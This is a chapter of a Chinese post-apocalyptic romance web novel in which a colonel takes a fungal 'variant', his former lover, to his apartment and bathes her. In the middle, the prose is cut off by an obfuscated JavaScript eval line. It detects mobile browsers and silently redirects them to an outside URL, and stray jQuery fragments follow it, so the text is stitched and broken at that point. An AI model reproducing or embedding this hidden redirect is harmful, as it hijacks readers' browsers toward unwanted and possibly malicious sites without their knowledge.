他家?
夏郁森呆在了原地。
“愣着做什么?快进来。”他已然走了进去。
她这才反应过来,这栋楼应该是军官公寓,所以深夜车库里停满了车,还会有忙了一天的人回家,装修上也和想象里的完全不一样。
可是他刚刚不说着要好好研究吗?哪有带回家研究的?
她一时不知道是应该先吐槽他的“样板间”式住处,还是吐槽他这人说的话没一句能信的。
“所以上校是看在我们一路互相扶持的情谊上,打算放过我了?”
宋质理别过脸去:“还是要研究,只不过换个地方。”
夏郁森差点一个趔趄。
在家里能研究出什么名堂啊!
“好了,先不考虑这个了。”宋质理似是看出了她心中所想,“终于回到安全区域了,好好休息一下吧。”
夏郁森看着他关切的脸,内心一阵崩溃。
你是不是搞错了什么!基地对于人类而言确实是安全区域没错,可她是个异种啊!这里对她来说才是龙潭虎穴吧!
她打量着这间房子。
房子不算太大,但在这个时代有这样一间可以容身的居所已是难得。
客厅地面是光洁如镜的大理石,倒映着天花板上的冷光灯带。整间屋子都是灰白色调,单调又压抑,家具极少,显得冷清,更别提屋里能有什么摆件装饰了。
没有生活气息,更像长期执勤的哨所,空气中有淡淡的消毒水味。
他就住在这种样板间似的地方?夏郁森有些惊讶。
记忆中的宋质理虽然自律,但房间宿舍里总有那么一件乱扔的训练服、她送的幼稚摆件、一起拼了一半的旧世界模型……
那个会笑着把她按在沙发上挠痒痒的少年,和这个冰冷空间的主人真的是同一个人吗?
然后她就了然了,领航员常年需要执行任务行走废土,尤其是获得正式头衔后。这处公寓应该也并不怎么住。
宋质理脱下沾了血的外套,带她到走廊那扇门口。
“你睡这间。”他推开门露出同样极致整洁的房间。
床铺上,床单没有一丝褶皱,被子板正四方得恐怖。书桌上只有一台加密终端和几本书,透明衣柜里军装按季节和功能排列,就连帘褶皱都变态得对称。
夏郁森站在门口没进去,眼睛朝外面扫了两下:“那上校睡哪里?”
“客厅沙发。”
宋质理一边应着,一边弯腰去柜子里拿备用床单。
“可是旁边不是还有一个房间吗?”
她指的是主卧隔壁那扇紧闭的门。
那是一扇实木材质的门,在金属为主的公寓里显得格格不入;门把手是旧式的黄铜球形锁,但并没有灰尘。门框边缘经常开合一般有细微的磨损痕迹,门缝下透出极微弱的光。
他弯腰的动作凝固了一瞬。
“有人了。”
“上校的家人吗?”
“……”
“那我要去打个招呼吗?”夏郁森手指已经摸上了门板就要敲门。
在主卧换床单的宋质理不知是什么时候移动过来的,速度飞快。
他挡在她和门之间,灰绿色眼睛在昏暗光线中像某种夜行动物:“我说,去休息。”
“那间房,不能靠近。”
“好啦好啦知道了,上校好凶。”夏郁森委屈巴巴举手作投降状。
她嘴上答应得乖巧。但在宋质理转身的那一刻,就有一条菌丝偷偷摸摸延申了过去,眼看就要触到门板了。
宋质理忽然又猛一转身,吓得她那条正在搞小动作的菌丝触手又缩了回来。
她愤愤地在这家伙身后吐舌头。
现场气氛有些尴尬,大概是为了缓解这种局面并展现一下“房子主人的担当”,宋质理带着她走进厨房。
台面光可鉴人,厨具齐全,但所有把手都直愣愣朝向同一角度。
没有任何食物痕迹,没有油渍、没有调味瓶、甚至没有水杯。
宋质理拉开嵌入式冰箱的门:“想吃什么自己——”
话没说完,他自己也顿住了。
冰箱里灯光亮起,照亮了一排排列队的注射剂。各种颜色的瓶瓶罐罐昂首挺胸,这次凭借原装包装能够认出它们是药品。
没有食物。
一丁点都没有。
夏郁森眨眨眼睛:“上校这么爱吃‘糖’啊?囤了这么多是怕‘牙疼’的时候不够吃吗?”
“嗯。”宋质理砰一声关上了冰箱门,强行挽尊,“补给食品晚些时候到。”
欺负她一个异种不认识人类文字是吧!包装上都明晃晃写着是镇静药、止痛药、神经保护剂了!
“那小森能在食品没来时先吃‘糖’吗?小森特别挑食。”
“……不能。”
宋质理看起来并不准备和她解释,已然转身走进了一个房间,再出现时手上多了条毛巾和一件宽大的衣服:“浴室里有热水,自己洗。”
夏郁森忽地恶趣味上头,打定主意要捉弄一下他。
她像是突然腿软了,一个趔趄不偏不倚倒在他怀里。她努力撑起身,又“无力”地倒回去。
“可是……没力气了……”她抬起琥珀色的眼睛,水光潋滟,“菌丝刚才为了救上校,把储存的能量都用完了,现在连抬手都费劲……”
“更何况……我不会用人类的洗澡工具……”
她已经预见前男友会作出怎样见鬼的表情了,那张总是克制的俊脸大概率会吃瘪,然后嫌弃地把她推开让她好好走路自己去洗。
宋质理面无表情地把手上的毛巾和衣物放到椅子上,腾出手,然后弯腰。
直接将她打横抱起。
“上校?!”
宋质理目视前方,声音绷紧:“安静。别乱动。”
夏郁森:???
这怎么和说好的不一样?
她就这样莫名其妙地被抱进了浴室。那双大手一只托在她后背上,一只抵住她膝弯,稳得惊人,让人还挺心安。
宋质理把她搁在浴缸沿上放稳,然后走向储物柜。
夏郁森抱住双腿伸长了脖子,然后就看到他往外一样一样摆各种五颜六色的溶剂。
他先是往浴缸里倒了半瓶粉色的生物消毒剂,然后又撒了一把红色的辐射残留中和药浴盐,再然后是白色乳状的未知活性剂。最后,他犹豫了片刻,还是挤了一大坨散发着薰衣草气味的沐浴露。
一拧开水龙头往里面加水,浴缸里顿时浮起一层诡异的红白粉三色泡沫,不停嘶嘶冒泡。
这真的是要洗澡吗?这怕不是要拿她做什么化学实验吧!
夏郁森瞪大眼:“上校是在调配溶液吗?
宋质理一本正经地用手搅动泡沫,让颜色混合均匀:“煮蘑菇汤。
“那蘑菇要焯水吗?”
“要焯。”
“……”
“那……上校要尝尝看吗?”
宋质理:“……”
夏郁森:“……”
话题怎么朝着奇怪的方向发展了?这对吗?这不对吧。
宋质理捂脸:“蘑菇不准说话。”
这个糟糕的比喻让两人脸都红了。宋质理假装很忙地默默打开排气扇,夏郁森则假装狐疑地拿起那瓶生物消毒剂瞧了眼。
然后她便见上面几个令人震撼的大字:广谱消杀微生物[注:强效针对霉菌]
夏郁森:……
虽然她这个“异种”并不会被这种东西消杀掉,但是她有充分理由怀疑这家伙是想谋害她!
说是“煮汤”,但宋质理行动上却有模有样,还细心地去调水温。夏郁森“好奇”地伸手去摸水龙头,却一个没站稳不小心把开关扳到了最大。
一瞬间热水喷涌而出,直接浇了宋质理一身。他变成了落汤鸡,没脱下的作战服紧贴胸膛,黑发止不住往下滴水。
这一沾水,他那原本被衣物包裹的完美身体线条立刻一览无余,夏郁森视线顿时被他腰腹那片焊瘦紧实又随着呼吸微微起伏的肌肉吸引,瞬间移不开眼。
记忆里的少年身形,还停留在瘦高修长的那副样子,像是拔节的竹,还没有被高强度的训练淬炼出如此硬朗的线条轮廓。而眼前这个,成熟又充满力量,肌肉却一点也不夸张,浑身上下充斥着要命的张力。
他们虽是青梅竹马的恋人,早已对彼此熟悉无比,但是当年的“亲密举动”也仅限于搂搂抱抱的程度,并未曾突破那最后一道底线。此刻久别重逢,这熟悉又陌生的美好肉|体摆在眼前,夏郁森心里多少有点怪不好意思的。
但无论内心怎么尴尬,面子上自然不能表现出来,她还是本着“不看白不看”的心理理直气壮瞪他。
而且她是异种!不懂人类这些弯弯绕绕的!多看几眼怎么了!
宋质理抹了把脸,水珠从下颌滴落,眼睛也透过层水膜盯着她,眼神像要杀人。
然后他居然低声笑了起来。
“……脱衣服,进去。”
夏郁森故意学着人类的扭捏姿态:“上校转过去……”
宋质理不用她说就已经背过身:“快点。”
她慢慢脱下脏衣服滑进浴缸,让那缸颜色浑浊得可疑的“蘑菇汤”没过她的肩膀。
宋质理拿过花洒,开始往她头发上淋水。
“咦?这是什么洗发水?味道好好闻!”夏郁森眼珠一转,发出不算虚假的感叹。
“没有人工香精添加。纯天然植物提取。”他回答,“不会让你浑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17577002|204710||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
身散发劣质的香气。”
夏郁森没想到他还记得路上那罐营养液的事情,心说这家伙可真记仇!
但气着气着,她愣住了。
因为她猛然想起,以前自己似乎对人工香精里的什么成分过敏。最严重那次,是宋质理18岁成为正式领航员,军方照例为新晋领航员举办晚宴庆祝,现场的庆祝蛋糕为了提高口感添加了香精。
当时她刚吃了没几口,就开始呼吸急促浑身起疹子。宋质理抱着她去了医务室,差点错过了自己的就职感言。
“明明知道基地里少见的蛋糕甜品多半都会添加香精,为什么还有勉强自己吃?”他轻声责备道。
“我不想错过你就职典礼的蛋糕嘛。”夏郁森心虚说,“而且谁知道他们这么小气,这种场合也偷工减料不用纯天然食物!可恶!”
宋质理叹了口气。
“那郁森和我说好了,以后不能再乱吃不该吃的东西。”
夏郁森连连点头。
他笑着捏了捏她的脸:“我向你保证,总有一天,我们会有吃不完的天然小蛋糕。”
自此之后,宋质理对各种可能含有人工香精的东西就抱有某种神经质的敏锐。
所以之前车上的那罐饮料,他难道也是在担心这个吗?
但是怎么可能!拟态异种又不过敏!
她这么胡思乱想时,宋质理已经在帮她冲洗头上的泡沫了。
菌丝们似乎满意极了,吸水后泛出珍珠光泽,还散发淡淡的雨后土壤气息。
宋质理试图抓住一小绺长发,但它们遇水并被激活后变得极其滑腻,简直像是一把活的海带,还会无意识地缠绕他的手。
见他没有发怒的迹象,那些菌丝触手们更加嚣张了。
一缕菌丝偷偷缠上他的手腕,缠住他的指尖;另一缕试图卷走洗发水瓶,但被抓了个现行;还有一缕在水里蠕动,看起来是在模仿水蛇跳舞。
“别乱动。”
夏郁森无辜眨眼:“是菌丝自己动的,它们喜欢上校的温度。”
这是真的。与她共生的菌丝对高体温有趋向性。
他不得不一边用手把它们掰开避免被缠住,一边尽力解开那些已经绑成一团的发丝,场面混乱地宛如在和一团意大利面搏斗。
夏郁森好心提醒:“它们喜欢被顺着捋,逆着会打结……”
话没说完,宋质理已经弄出一个死结。
那团菌丝奋力挣扎扭了一阵,缠得更紧了,然后气鼓鼓摆烂了,不动了。
一瞬间,浑身湿透的两人大眼瞪小眼。
“怪你。”
“怪我。”
宋质理自知理亏,蹲下去尝试解开那个死结,可惜它们实在缠得太紧了,最后他只得拿来一把剪刀把它们剪开。幸好之后他的操作变得格外小心,否则夏郁森觉得自己大概率要被薅秃了。
废了九牛二虎之力才把长发处理完毕,她很自觉地直起腰,背对他跪坐着趴在浴缸边缘,好让他清洗后背。
宋质理愣怔片刻。
在他的视野里,她那头缎子样顺滑的长发从肩背向前滑去,露出光洁的背部曲线。水珠沿着脊柱沟落下,在白皙的皮肤上划过痕迹,最后没入水中。
这幅模样,即使是在他们少年的时候,他也未曾见过。
宋质理不敢多看,视线尽可能避开。他偏过脑袋用沐浴球蘸取“蘑菇汤”,从后颈开始向下擦洗。
他的手在发抖,每一次擦拭都靠着沐浴球隔开,不敢有分毫和她皮肤直接接触的机会。
肌肤的触感倒是隔绝了,可是尽管如此,身体的线条和轮廓却压根无法被屏蔽。即便完全不看,他也能够感知到眼前这具身体下蕴藏的极致生命力。
那段修长的脖颈线条柔美;那两侧的肩胛骨,如蝶翼一般展开;腰肢的弧度,似乎比记忆里的夏郁森更为明显,也更为柔韧;更为要命的是脊椎隐藏在水面下的部分,水流紊乱地在那里形成小漩涡……
当清洗到腰际时,她跪坐着的腿忽然在浴缸里滑了一下,整个人瞬间失去平衡向后仰倒。
宋质理本能地伸手去捞,手臂穿过她腋下,试图将她从水里整个捞起来。
这是个完全错误的决定,他立刻就后悔了。
尽管只有短短一刹那,但已完全足够他透过水汽瞥见那水波荡漾后的真容。
宋质理毫无征兆松手,噌一下站起。失去支撑的夏郁森“噗通”滑回水里,呛了一口水,茫然抬头。
他猛地抽下旁边毛巾架上那块浴巾,像投掷引燃的手榴弹一样扔了出去。
浴巾在空中绽开成一朵降落伞,不偏不倚蒙住了夏郁森的脑袋。
“你……自己洗。”
他丢下这句又冷又硬的话,转身大步离开。